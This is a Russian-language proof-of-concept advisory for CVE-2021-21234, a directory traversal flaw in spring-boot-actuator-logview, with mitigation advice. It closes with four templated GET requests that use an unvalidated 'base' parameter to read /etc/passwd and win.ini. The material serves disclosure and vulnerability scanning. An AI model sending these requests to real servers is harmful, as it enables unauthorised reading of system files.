
Доказательство концепции эксплуатации для CVE-2021-21234, уязвимости обхода каталога в spring-boot-actuator-logview, позволяющей несанкционированное чтение файлов через параметр base.
CVE-2021-21234 Spring Boot обход каталога
spring-boot-actuator-logview добавляет простой просмотрщик файлов журнала как конечную точку actuator Spring Boot. Это maven-пакет «eu.hinsch:spring-boot-actuator-logview». В spring-boot-actuator-logview до версии 0.2.13 существует уязвимость обхода каталога. Суть библиотеки — предоставлять доступ к каталогу файлов журнала через HTTP-конечную точку admin (actuator Spring Boot). Имя файла для просмотра и базовая папка (относительно корня папки журналов) задаются параметрами запроса. Хотя параметр имени файла проверяется для предотвращения атак обхода каталога (поэтому filename=../somefile не сработает), параметр базовой папки проверяется недостаточно, поэтому filename=somefile&base=../ может получить доступ к файлам за пределами базового каталога журналов). Уязвимость исправлена в версии 0.2.13. Любой пользователь 0.2.12 должен иметь возможность обновиться без проблем, поскольку в этой версии нет других изменений. Кроме обновления или удаления зависимости, других способов устранить эту уязвимость нет. Однако удаление прав на чтение у пользователя, запускающего приложение, для любых каталогов, не требующихся приложению, может ограничить воздействие. Кроме того, доступ к конечной точке logview можно ограничить, развернув приложение за обратным прокси.
eu.hinsch.spring.boot.actuator.logview.LogViewEndpoint#view
Функция view проверяет допустимость параметра filename, но не проверяет допустимость параметра base.
GET path:
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # windows
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux